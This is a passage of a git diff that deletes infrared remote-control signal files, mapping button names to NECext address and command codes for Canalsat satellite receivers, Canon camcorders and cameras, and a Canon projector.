-command: 89 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 8A 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 8B 00 00 00 -# -name: IR_OP -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 8C 00 00 00 -# -name: PG_DWN -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 8D 00 00 00 -# -name: PG_UP -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 8E 00 00 00 -# -name: BELL_MT -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 8F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 90 00 00 00 -# -name: MAIN_+ -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 91 00 00 00 -# -name: SUB_+ -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 92 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 93 00 00 00 -# -name: MAIN_- -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 95 00 00 00 -# -name: SUB_- -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 96 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 97 00 00 00 -# -name: MUENU -type: parsed -protocol: NECext -address: 85 73 00 00 -command: 98 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canalsat/Satellite/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canalsat/Satellite/10,-1.ir deleted file mode 100644 index fb1c9a4c3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canalsat/Satellite/10,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0C 00 00 00 -# -name: PILOTE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0F 00 00 00 -# -name: TV/SAT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 28 00 00 00 -# -name: + -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 2F 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 46 00 00 00 -# -name: PROGR -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 4F 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 50 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 51 00 00 00 -# -name: SERV -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 52 00 00 00 -# -name: SORTIE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 53 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 55 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 56 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 57 00 00 00 -# -name: PREFER -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 61 00 00 00 -# -name: PERSO -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6A 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6B 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6C 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6D 00 00 00 -# -name: D -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6E 00 00 00 -# -name: E -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canalsat/Unknown_CanalSat/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canalsat/Unknown_CanalSat/10,-1.ir deleted file mode 100644 index 07a2df41e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canalsat/Unknown_CanalSat/10,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0C 00 00 00 -# -name: Pilote -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0F 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 28 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 2F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 46 00 00 00 -# -name: Progr -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 4F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 51 00 00 00 -# -name: Serv -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 52 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 53 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 56 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 57 00 00 00 -# -name: Prefer -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 61 00 00 00 -# -name: Perso -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6A 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6B 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6C 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6D 00 00 00 -# -name: KEY_D -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6E 00 00 00 -# -name: KEY_E -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canalsat/Unknown_CanalSatHD/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canalsat/Unknown_CanalSatHD/10,-1.ir deleted file mode 100644 index b32d2a07d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canalsat/Unknown_CanalSatHD/10,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0C 00 00 00 -# -name: PILOTO -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 21 00 00 00 -# -name: volver -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 22 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 28 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 2F 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 30 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 32 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 34 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 37 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 46 00 00 00 -# -name: DIGITAL+ -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 48 00 00 00 -# -name: TDT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 4A 00 00 00 -# -name: GUIA -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 4F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 51 00 00 00 -# -name: SERV -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 52 00 00 00 -# -name: salir -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 53 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 56 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 57 00 00 00 -# -name: prefe -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 61 00 00 00 -# -name: PERSO -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6A 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6B 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6C 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6D 00 00 00 -# -name: KEY_D -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6E 00 00 00 -# -name: KEY_E -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6F 00 00 00 -# -name: MICANAL -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 72 00 00 00 -# -name: screen -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_CAM/133,118.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_CAM/133,118.ir deleted file mode 100644 index 68b879259..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_CAM/133,118.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 00 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 01 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 02 00 00 00 -# -name: START/STOP -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 03 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 04 00 00 00 -# -name: TAPE-RETURN -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 06 00 00 00 -# -name: COUNTER-RESET -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 0D 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 17 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 1B 00 00 00 -# -name: KEY_T -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 1C 00 00 00 -# -name: KEY_W -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 1D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-D77/133,118.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-D77/133,118.ir deleted file mode 100644 index d6349dba5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-D77/133,118.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 00 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 01 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 02 00 00 00 -# -name: START/STOP -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 03 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 04 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 05 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 07 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 10 00 00 00 -# -name: SELFTIMER -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 12 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 17 00 00 00 -# -name: TV-SCREEN -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 1B 00 00 00 -# -name: KEY_ZOOMIN -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 1C 00 00 00 -# -name: KEY_ZOOMOUT -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 1D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 21 00 00 00 -# -name: SET -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 24 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 25 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 27 00 00 00 -# -name: D.EFFECTS -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 28 00 00 00 -# -name: CARD+ -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 2A 00 00 00 -# -name: CARD- -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 2B 00 00 00 -# -name: SLIDE-SHOW -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 2C 00 00 00 -# -name: KEY_IMAGES -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 30 00 00 00 -# -name: DATA-CODE -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 31 00 00 00 -# -name: ZERO-SET/MEMORY -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 32 00 00 00 -# -name: AUDIO-DUB -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 33 00 00 00 -# -name: SEARCH/SELECT -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 34 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 35 00 00 00 -# -name: BWD -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 36 00 00 00 -# -name: AUDIO-MONITOR -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 39 00 00 00 -# -name: ST-2 -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 3A 00 00 00 -# -name: ST-1 -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 3B 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 50 00 00 00 -# -name: X2 -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 55 00 00 00 -# -name: AV-INSERT -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 5B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-D80/133,118.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-D80/133,118.ir deleted file mode 100644 index dd4353e77..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-D80/133,118.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 00 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 01 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 02 00 00 00 -# -name: start_stop -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 03 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 04 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 05 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 10 00 00 00 -# -name: self_timer -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 12 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 17 00 00 00 -# -name: tv_screen -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 1B 00 00 00 -# -name: KEY_ZOOMIN -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 1C 00 00 00 -# -name: KEY_ZOOMOUT -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 1D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 21 00 00 00 -# -name: set -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 24 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 25 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 27 00 00 00 -# -name: d_effects -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 28 00 00 00 -# -name: KEY_IMAGES -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 30 00 00 00 -# -name: data_code -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 31 00 00 00 -# -name: zero_set_memory -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 32 00 00 00 -# -name: audio_dub -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 33 00 00 00 -# -name: search_select -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 34 00 00 00 -# -name: search_select_forward -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 35 00 00 00 -# -name: search_select_rewind -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 36 00 00 00 -# -name: X_KEY_2_bit_audio_out -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 39 00 00 00 -# -name: prev_frame -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 50 00 00 00 -# -name: fast -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 55 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-DC100/202,177.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-DC100/202,177.ir deleted file mode 100644 index a54672700..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-DC100/202,177.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Snap -type: parsed -protocol: NECext -address: CA B1 00 00 -command: 1F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: CA B1 00 00 -command: 40 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: CA B1 00 00 -command: 41 00 00 00 -# -name: KEY_ZOOMOUT -type: parsed -protocol: NECext -address: CA B1 00 00 -command: 42 00 00 00 -# -name: KEY_ZOOMIN -type: parsed -protocol: NECext -address: CA B1 00 00 -command: 43 00 00 00 -# -name: Multi -type: parsed -protocol: NECext -address: CA B1 00 00 -command: 44 00 00 00 -# -name: Magnify -type: parsed -protocol: NECext -address: CA B1 00 00 -command: 46 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: CA B1 00 00 -command: 47 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-V1/129,6.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-V1/129,6.ir deleted file mode 100644 index 7e4a13e0a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-V1/129,6.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: FOCUS_-_MANUAL -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 06 00 00 00 -# -name: FOCUS_-_AUTO -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 07 00 00 00 -# -name: FOCUS_-_NEAR -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 08 00 00 00 -# -name: FOCUS_-_FAR -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 09 00 00 00 -# -name: KEY_ZOOMOUT -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 0A 00 00 00 -# -name: KEY_ZOOMIN -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 0B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 0C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 0D 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 0E 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 0F 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 10 00 00 00 -# -name: OPERATE -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 14 00 00 00 -# -name: PRESET_SET/CANCEL -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 15 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_canon/133,118.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_canon/133,118.ir deleted file mode 100644 index bf1de6ed7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_canon/133,118.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 00 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 01 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 02 00 00 00 -# -name: start/stop -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 03 00 00 00 -# -name: remote_set -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 03 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 04 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 05 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 10 00 00 00 -# -name: self_timer -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 12 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 17 00 00 00 -# -name: tv_screen -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 1B 00 00 00 -# -name: KEY_ZOOMIN -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 1C 00 00 00 -# -name: KEY_ZOOMOUT -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 1D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 21 00 00 00 -# -name: set -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 24 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 25 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 27 00 00 00 -# -name: d.effects -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 28 00 00 00 -# -name: data_code -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 31 00 00 00 -# -name: zero_set_memory -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 32 00 00 00 -# -name: audio_dub. -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 33 00 00 00 -# -name: search_select -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 34 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 35 00 00 00 -# -name: bwd -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 36 00 00 00 -# -name: audio_monitor -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 39 00 00 00 -# -name: st-2 -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 3A 00 00 00 -# -name: st-1 -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 3B 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 50 00 00 00 -# -name: x2 -type: parsed -protocol: NECext -address: 85 76 00 00 -command: 55 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Video Projector/129,6.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Video Projector/129,6.ir deleted file mode 100644 index 578d1d87d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Video Projector/129,6.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 40 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 41 00 00 00 -# -name: COMPUTER_1 -type: parsed -protocol: NECext -address: 81 06 00 00 -command: 42 00 00 00 -# -name: COMPUTER_2 -type: parsed -protocol: NECext -address: 81 06 00 00 